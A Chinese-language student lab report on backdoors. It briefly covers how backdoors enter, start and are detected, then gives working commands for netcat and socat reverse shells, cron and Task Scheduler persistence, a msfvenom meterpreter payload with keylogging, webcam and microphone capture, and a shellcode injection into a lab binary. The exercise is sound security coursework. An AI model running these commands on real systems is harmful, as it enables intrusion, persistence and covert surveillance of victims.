Exp2 后门原理与实践
Exp2 后门原理与实践
一、实践目标
- 使用netcat实现win,kali间的后门连接
- 使用socat实现win,kali间的后门连接
- meterpreter的应用
二、基础知识问答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
误下载带有安全隐患的应用程序或者文件
未及时更新漏洞补丁
使用带有问题的U盘
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:: 添加至任务计划程序,开机自启动,与其他程序绑定运行,通过注册表启动。
Linux:定时启动,与其他程序绑定后运行,脚本运行。
(3)Meterpreter有哪些给你映像深刻的功能?
屏幕截图,获取击键记录,获取音频,打开摄像头,提权,进程迁移,安装Meterpreter到主机。
(4)如何发现自己有系统有没有被安装后门?
杀毒软件(火绒等)反馈
观察自启动项
观察任务管理器内的进程
观察任务计划程序
观察端口
特征码扫描
观察到自己的摄像头时不时闪一下
三、实验内容
Ⅰ.使用netcat获取主机操作Shell,cron启动
①Windows获取Kali虚拟机的shell
1.查看Windows主机的IP地址
ipconfig
2.在ncat.exe目录下打开cmd监听本机的11204端口
ncat.exe -l -p 11204
3.kali反弹连接Windows
nc 192.168.1.119 11204 -e /bin/sh
4.Windows返回kali的shell
ls
whoami
hostname
②Kali虚拟机获取Windows的shell
1.获取Kali虚拟机的IP地址
2.Kali中开启监听
ncat -l -p 11204
3.Windows反弹连接
ncat.exe -e cmd.exe 192.168.1.248 11204
4.Kali虚拟机返回Windows的shell
dir
③cron启动
1.Kali中执行crontab -e指令
2.设置自启动时间
15 * * * * /bin/netcat 192.168.1.119 11204 -e /bin/sh
则当主机时间为15分时(每小时的15分),若存在一台ip地址为 192.168.31.63 的主机正在监听11204端口,该主机便可以获取到Kali的Shell
3.Windows主机在指定时间监听
ncat -l -p 11204
Ⅱ.使用socat获取主机操作Shell, 任务计划启动
①Windows获取kali虚拟机的shell
1.Kali开放11204端口
socat tcp-listen:11204 system:bash,pty,stderr
2.Windows连接Kali虚拟机,验证shell功能
socat - tcp:192.168.56.101:11204
ls
②Kali虚拟机获得Windows的shell
1.Windows开放11204端口
socat tcp-listen:11204 exec:cmd,pty,stderr
2.Kali虚拟机连接Windows
socat - tcp:192.168.1.119:11204
3.验证shell
dir
③任务计划启动
1.打开任务计划程序,单击创建任务,编辑名称,新建触发器
2.新建操作,将socat.exe所在位置填入并添加以下参数,其他选项不变
tcp-listen:11204 exec:cmd,pty,stderr
3.测试
此时会弹出如图3.2.9所示的弹窗
然后再Kali虚拟机键入以下命令:
socat - tcp:192.168.31.63:11204
验证shell
Ⅲ.使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
①生成可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.248 LPORT=11204 -f exe > shell.exe
②利用ncat传送到主机并运行获取主机Shell
1.在Windows的cmd下开始监听11204端口
ncat.exe -l 11204 > shell.exe
2.Kali虚拟机传送shell.exe
nc 192.168.31.63 11204 < shell.exe
3.msf打开监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 11204
可以通过show options查看是否修改正确,IP地址与端口号必须与shell.exe中相一致
4.在Windows中打开shell.exe
5.获取主机shell
exploit
dir
Ⅳ.使用MSF meterpreter获取目标主机音频、摄像头、击键记录等内容,并尝试提权
①获取目标主机音频
在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)
②获取目标主机摄像头
webcam_snap
输入webcam_snap指令控制摄像头进行拍照
③获取击键记录
输入keyscan_start开始捕获键盘记录,keyscan_dump
获取击键记录(-d可设置时长)
截取主机屏幕
screenshot
fim XXX.jpeg
查看图片
Ⅴ.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
①生成shellcode
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.123.85 LPORT=11204 -f c
②关闭地址随机化并设置栈可执行
execstack -s pwn1
echo "0" > /proc/sys/kernel/randomize_va_space
③gdb调试并生成最终Shellcode
shellcode返回地址为0xbffff130
perl -e 'print "A" x 32;print "\x30\xf1\xff\xbf";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x7b\xd4\x66\x68\x2b\xc4\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin
④kali打开监听
⑤配置msf
运行侦听,在Ubuntu控制Linux的shell
1.Ubuntu端:
2.kali端
成功
实验体会:
本次实验实现了入侵对方终端,抓拍,获取键盘信息等等基础后门功能,以前在新闻中看到类似的科普知识,感觉很厉害,很神奇。现在我觉得自己也很nb哈哈哈哈,当然没有任何杀毒软件和防火墙的干扰,一切还是很顺利的,希望在学了免杀后能够升级我的攻击力。嗯
实验中对ip的键入比较模糊,现在明晰一些了,生成攻击文件ip为坏ip,用来传递参数,返回攻击者的电脑,nc的ip为对方ip,用来连接。